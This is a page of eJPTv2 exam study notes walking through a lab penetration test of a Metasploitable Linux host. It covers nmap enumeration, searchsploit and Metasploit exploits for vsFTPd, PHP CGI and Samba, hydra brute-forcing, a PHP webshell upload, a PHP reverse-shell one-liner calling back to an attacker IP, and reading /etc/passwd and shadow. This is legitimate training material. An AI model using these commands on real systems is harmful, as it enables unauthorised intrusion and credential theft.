> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/exploitation/exploits/linux.md).

# Linux

### Linux Black Box Penetration Test

**Penetration Testing Phases**

The following diagram outlines the various phases involved in a typical penetration test.

\
**Black Box Methodology:**

* Host discovery
* Port Scanning & enumeration 
* Vulnerability detection/scanning 
* Exploitation 
  * Manual 
  * Automated
* Post Exploitation
  * Privilege Escalation
  * Persistence
  * Dumping hashes

<figure><img src="/files/cvWKxwJycAONgb1HqUKw" alt=""><figcaption></figcaption></figure>

#### Scenario & Scope

* You have just begun your first job as a Junior Penetration Tester and have been assigned to assist in performing a penetration test on a client's network.
* The pentest lead has assigned you to gain access/exploit a host running Windows Server 2008.
* Your primary objectives are:
  * Identify services running on the target.
  * Identify vulnerabilities within the services
  * Exploit these vulnerabilities to obtain initial foothold

**NOTE: you are permitted to use the Metasploit Framework**

***

### Port Scanning & Enumeration - Linux

```
nmap -sV -p1-10000 <IP> -oN namp_10k 
```

* when nmap wasn't able to detect the service&#x20;

```
nc -nv <IP> <Port>
```

```
nc -nv <IP> 1524 
```

* it is a bind shell
* http\://\<IP>/ it is metasploitable&#x20;

***

### Targeting vsFTPd

```
nmap -sV -sC -p21 <IP>
```

```
ftp <IP> <port>
```

```
searchsploit vsftpd
```

* we have metasploit and python exploit code

```
searchsploit -m 49757
chmod +x 49757.py
python3 49757.py <IP>
```

* Not all vulnerability can be exploited as they might be patched manually.

*NOTE: SMTP provides us with a really easy way of identifying user accounts on and in this case a Linux target system it helps us narrow down our brute-force attack*

```
msfconsole -q 
> search smtp enum
> use auxiliary/scanner/smtp/smtp_enum
> show options
> set  RHOSTS <IP>
> run 
```

```
hydra -l service -P /usr/share/metasploit-framework/data/wordlists/unix_users.txt <IP> ftp
```

* never brute-force the service-type account as it doesn't have passwords
* identify user account and then brute-force to get the password

> service :: service

* login to ftp

```
ftp> dir 
> cd /
> 
```

* webshells directory - /usr/shrae/webshells/
* in windows only packages like asp, aspx works
* in linux php, perl works
* lets use php-reverse-shell.php make some modification upload to /var/www/dav folder
* click on the DAV/shell.php

```
nc -nvlp 1234

/bin/bash -i 
# whomai
# id
```

***

### Targeting PHP

```
nmap -sV -sC -p 80 <IP>
```

* to detect if the targeting website uses PHP

Go to http\://\<IP>/phpinfo.php site

* we can exploit php versions&#x20;

```
searchsploit PHP CGI
searchsploit PHP 5.2.4
searchsploit -m 18834.py 
vim 18834.py 
```

```
python3 18836.py <IP> <port>
```

* change pwn code = """\<?php  ?>"""

to anyone liners

> \<?php $sock=fsockopen("\<IP>",1234);exec("/bin/sh -i <&4 2>&4"); ?>

and start a listener

```
nc -nvlp 1234
# /bin/bash -i 
# whoami
# cat /etc/*relases
```

***

### Targeting SAMBA

```
nmap -sV -p 445 <IP>
```

* to detect exact version of SAMBA

```
msfconsole -q 
> search smb_version
> use 0
> set RHOSTS <IP>
> run
> search samba 3.0.20
> use exploit/multi/samba/usermap_script
> show options
> set RHOSTS <IP>
> show options
- it has netcat reverse shell
> sessions -u 1
> sessions 2 
>>>> sysinfo
>>>> getuid
>>>> cat /etc/passwd & shadow
```

```
searchsploit samba 3.0.20
```